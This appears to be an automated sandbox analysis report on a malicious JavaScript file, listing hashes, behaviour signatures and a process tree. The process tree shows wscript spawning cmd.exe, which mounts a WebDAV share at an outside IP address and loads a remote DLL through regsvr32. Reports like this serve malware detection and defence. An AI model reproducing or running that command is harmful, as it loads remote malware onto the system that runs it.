Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 05:29

General

  • Target

    29260317979016427.js

  • Size

    4KB

  • MD5

    8a33a35be531e436549a97eb9e5855fc

  • SHA1

    4a87c14fd6a5881bf6e543f5fcf25b5246bf8f97

  • SHA256

    f7c6e0269dd929ea1d8f8c7a0a814544dd643a003afa2b5be2b939835651f7e9

  • SHA512

    c44223706d08e9b617d026b60ed076cf516ab37170808dc07747be03096438bea407378aaa4eda635b34f31982c604f5ec75dc6ec3312461e2666aec0876535c

  • SSDEEP

    96:fB69vgpvgFbgXfQi1Z8VZMb6ekG6BAyxeVVVdK/fIoNpBXNCBz95SMZN90gWjNpy:H60LUX6Akb6C

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\29260317979016427.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\2340278325458.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2376
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3952

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads